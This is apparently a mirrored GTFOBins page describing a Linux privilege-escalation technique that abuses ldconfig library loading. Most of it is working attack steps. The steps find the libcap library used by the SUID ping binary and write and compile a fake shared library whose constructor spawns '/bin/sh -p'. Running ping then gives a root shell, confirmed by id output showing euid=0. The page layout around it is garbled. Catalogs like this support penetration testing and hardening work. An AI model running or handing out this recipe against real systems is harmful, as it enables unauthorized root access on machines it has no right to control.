mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
1.5 KiB
1.5 KiB
description | functions | ||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Follows a minimal example of how to use the described technique (details may change across different distributions). Run the code associated with the technique. Identify a target SUID executable, for example the `libcap` library of `ping`: ``` $ ldd /bin/ping | grep libcap libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000) ``` Create a fake library that spawns a shell at bootstrap: ``` echo '#include <unistd.h> __attribute__((constructor)) static void init() { execl("/bin/sh", "/bin/sh", "-p", NULL); } ' >"$TF/lib.c" ``` Compile it with: ``` gcc -fPIC -shared "$TF/lib.c" -o "$TF/libcap.so.2" ``` Run `ldconfig` again as described below then just run `ping` to obtain a root shell: ``` $ ping # id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) ``` |
|